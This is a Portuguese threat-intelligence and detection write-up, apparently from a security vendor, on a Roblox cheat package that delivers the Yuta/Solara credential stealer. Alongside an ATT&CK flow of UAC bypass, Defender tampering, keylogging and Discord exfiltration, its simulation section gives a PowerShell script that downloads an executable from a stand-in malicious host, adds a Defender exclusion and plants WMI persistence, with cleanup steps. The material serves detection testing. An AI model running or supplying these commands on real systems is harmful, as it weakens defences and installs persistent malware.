Trapaças no Roblox com Inteligência Artificial Entregam o Stealer Yuta/Solara
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um pacote malicioso de trapaça do Roblox combina uma interface .NET trojanizada com um ladrão Python empacotado via PyInstaller. O carregador inicial enfraquece as proteções do Microsoft Defender, recupera uma carga útil de segunda etapa do MediaFire e executa malware derivado do Glove Stealer para coletar credenciais, cookies, arquivos de carteira e ativos relacionados a jogos. Os dados roubados são então exfiltrados através de webhooks do Discord criptografados e apoiados por um bot RAT persistente do Discord.
Investigação
O relatório fornece uma análise estática detalhada do malware, incluindo extração da carga útil do PyInstaller, descompilação do bytecode Python 3.12 e mapeamento do fluxo de trabalho de roubo de credenciais. Também delineia toda a cadeia de execução de múltiplas etapas, os métodos de evasão de defesa usados pelos operadores e a abordagem de desvio de cinco camadas visando as proteções de Criptografia Vinculada ao App do Chrome.
Mitigação
As organizações devem bloquear a execução de binários desconhecidos e não assinados, aplicar listas restritas de aplicativos permitidos, monitorar alterações nas exclusões do Defender e uso suspeito do PowerShell, além de detectar downloads incomuns de dados de configuração do Pastebin. O tráfego de webhook do Discord deve ser restrito ou monitorado de perto, e os defensores devem observar lançamentos anormais do Chrome que usam bandeiras relacionadas a depuradores.
Resposta
As equipes de segurança devem alertar sobre a criação de winupdate.exe no cache do AppData, modificações suspeitas na chave Run do registro, criação de tarefas agendadas e atividade incomum em canais do Discord. Arquivos maliciosos devem ser colocados em quarentena, exclusões não autorizadas do Defender removidas e coleta forense realizada em qualquer repositório de credenciais que possa ter sido coletado.
"graph TB %% Class definitions classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef process fill:#bbffbb classDef persistence fill:#ff99cc %% Node definitions action_user_execution["<b>Ação</b> – <b>T1204.002 Execução pelo Usuário</b><br/>A vítima executa um executor WPF trojanizado disfarçado como uma ferramenta de trapaça do Roblox."] class action_user_execution action technique_impair_defenses["<b>Técnica</b> – <b>T1562.001 Enfraquecer Defesas: Desabilitar ou Modificar Ferramentas</b><br/>Adiciona o diretório atual à lista de exclusão do Windows Defender via PowerShell e corrige funções AMSI/ETW."] class technique_impair_defenses technique tool_powershell["<b>Ferramenta</b><br/>Script PowerShell usado para modificar exclusões do Defender e corrigir AMSI/ETW."] class tool_powershell tool technique_bypass_uac["<b>Técnica</b> – <b>T1548.002 Abuso de Controle de Elevação: Ignorar UAC</b><br/>Sequestra HKCUSoftwareClassesms-settingsShellOpencommand e lança fodhelper.exe/computerdefaults.exe para obter execução de alta integridade."] class technique_bypass_uac technique tool_fodhelper["<b>Ferramenta</b><br/>fodhelper.exe usado para ignorar UAC."] class tool_fodhelper tool technique_dead_drop["<b>Técnica</b> – <b>T1102.001 Web Service: Dead Drop Resolver</b><br/>Recupera configuração criptografada por XOR de URLs do Pastebin e resolve o link de download do MediaFire."] class technique_dead_drop technique technique_ingress_tool["<b>Técnica</b> – <b>T1105 Transferência de Ferramenta de Ingresso</b><br/>Faz download de ladrão Python secundário empacotado pelo PyInstaller (winupdate.exe) do MediaFire e o armazena em %APPDATA%.cachewinupdate.exe com atributos ocultos e de sistema."] class technique_ingress_tool technique process_secondary_payload["<b>Processo</b><br/>winupdate.exe (ladrão Python)"] class process_secondary_payload process technique_cred_browser["<b>Técnica</b> – <b>T1555.003 Credenciais de Navegadores Web</b><br/>Ignorar Criptografia Vinculada ao App do Chrome em múltiplas etapas (ponto de interrupção do depurador, elevação COM, dupla DPAPI, injeção DLL, sequestro de registro UAC) para obter cookies, tokens e senhas descriptografados."] class technique_cred_browser technique technique_keylogging["<b>Técnica</b> – <b>T1056.001 Captura de Entrada: Keylogging</b><br/>Instala um gancho WH_KEYBOARD_LL de baixo nível para capturar teclas digitadas."] class technique_keylogging technique technique_archive["<b>Técnica</b> – <b>T1560.003 Arquivar via Método Personalizado</b><br/>Empacota arquivos roubados em um ZIP em memória, dividido em fragmentos de u2264 25 MB."] class technique_archive technique technique_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Sobre Canal C2</b><br/>Envia fragmentos ZIP para uma URL de webhook do Discord."] class technique_exfiltration technique tool_discord_webhook["<b>Ferramenta</b><br/>Webhook do Discord usado para exfiltração de dados."] class tool_discord_webhook tool technique_discord_rath["<b>Técnica</b> – <b>Discord Bot RAT</b><br/>Usa token de bot e ID de canal do Discord descriptografados para receber comandos remotos (shell, webcam, rastreamento, etc.)."] class technique_discord_rath technique technique_persistence["<b>Técnica</b> – <b>T1547.001 Execução de Inicialização/Logon de Autostart</b><br/>Cria tarefa agendada, chave Run do HKCU, script de inicialização VBS, sequestro de COM, entrada de perfil do PowerShell e Inscrição em Evento WMI para relançar a carga útil após reinicialização."] class technique_persistence persistence technique_dynamic_resolution["<b>Técnica</b> – <b>T1568 Resolução Dinâmica</b><br/>Recupera periodicamente a configuração do Pastebin para adaptar os endpoints C2."] class technique_dynamic_resolution technique %% Connections action_user_execution –>|dispara| technique_impair_defenses technique_impair_defenses –>|usa| tool_powershell technique_impair_defenses –>|habilita| technique_bypass_uac technique_bypass_uac –>|usa| tool_fodhelper technique_bypass_uac –>|leva a| technique_dead_drop technique_dead_drop –>|recupera| technique_ingress_tool technique_ingress_tool –>|armazena e executa| process_secondary_payload process_secondary_payload –>|executa| technique_cred_browser process_secondary_payload –>|executa| technique_keylogging process_secondary_payload –>|coleta dados para| technique_archive technique_archive –>|prepara dados para| technique_exfiltration technique_exfiltration –>|envia para| tool_discord_webhook tool_discord_webhook –>|alimenta| technique_discord_rath technique_discord_rath –>|mantém canal de comando para| technique_persistence technique_persistence –>|estabelece| persistence_mechanisms persistence_mechanisms["<b>Processo</b><br/>Tarefa agendada / Chave Run / VBS / Sequestro de COM / Perfil do PowerShell / Evento WMI"] class persistence_mechanisms process technique_persistence –>|apoia| technique_dynamic_resolution technique_dynamic_resolution –>|atualiza| technique_dead_drop "
Fluxo de Ataque
Detecções
Pontos de Persistência Possíveis [ASEPs – Software/NTUSER Hive] (via evento de registro)
Visualizar
WScript / CScript LOLBAS (via criação de processo)
Visualizar
Modificação Suspeita de Exclusões do Defender (via cmdline)
Visualizar
Binário / Scripts Suspeitos em Local de Inicialização (via evento de arquivo)
Visualizar
Tentativa de Comunicação com Domínio Pastebin Suspeito (via proxy)
Visualizar
IOCs (HashSha256) para detectar: Trapaças Com IA e Segredos Roubados: Análise do Yuta/Solara Roblox Stealer
Visualizar
Detecção de Patching de Memória Ativa no Roblox Stealer [Windows Sysmon]
Visualizar
Detecção de Manipulação do Windows Defender Baseada em PowerShell [Windows Powershell]
Visualizar
Injeção no Roblox e Manipulação do Windows Defender [Criação de Processo no Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa & Comandos do Ataque:
- Transferência de Ferramenta de Ingresso (T1105): O invasor baixa o executor malicioso do Roblox (
SLaunch.exe) de um servidor web comprometido. - Execução com Manipulação do Defender (T1548.002): Usando PowerShell, o invasor executa
SLaunch.execom uma linha de comando que invocaAdd-MpPreference -ExclusionPath "C:Roblox"para incluir na lista permitida a pasta instalação do Roblox, impedindo que o Windows Defender escaneie a carga injetada. - Persistência (T1546.003 / T1547.001): Uma inscrição de evento WMI é criada para relançar
SLaunch.exena inicialização do sistema. - Colheita de Credenciais (T1056.001, T1555.003): Enquanto o injetor está em execução, ele captura teclas digitadas e extrai credenciais salvas do Roblox dos armazenamentos de navegadores.
- Transferência de Ferramenta de Ingresso (T1105): O invasor baixa o executor malicioso do Roblox (
-
Script de Teste de Regressão: O seguinte script PowerShell reproduz os passos 2‑3 e gera a telemetria que a regra Sigma espera.
# ------------------------------------------------------------ # Execução do Injetor do Roblox + Exclusão do Defender (Script TC) # ------------------------------------------------------------ # Caminhos (ajustar conforme necessário) $injectorPath = "C:TempSLaunch.exe" $defenderExcl = "C:Roblox" # 1. Certifique-se de que o injetor existe (download placeholder) if (-Not (Test-Path $injectorPath)) { Write-Host "Baixando injetor malicioso..." Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath } # 2. Execute o injetor com a linha de comando de exclusão do Defender $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`"" Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow # 3. Crie uma inscrição de evento WMI permanente para persistência $wmiFilter = @" SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'SLaunch.exe' "@ $filterPath = "ROOTDEFAULT" $filterName = "RobloxInjectorFilter" $consumerName = "RobloxInjectorConsumer" # Registrar filtro $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter ` -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' } # Registrar consumidor de linha de comando $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer ` -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" } # Vincular filtro ao consumidor Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding ` -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH } Write-Host "Simulação completa – a telemetria de detecção deve ter sido gerada." -
Comandos de Limpeza: Remova a exclusão do Defender e a inscrição de WMI criada acima.
# Remover exclusão do Defender Remove-MpPreference -ExclusionPath "C:Roblox" # Excluir filtro & consumidor WMI $filterPath = "ROOTDEFAULT" Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding ` -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject # Excluir o binário injetor Remove-Item -Path "C:TempSLaunch.exe" -Force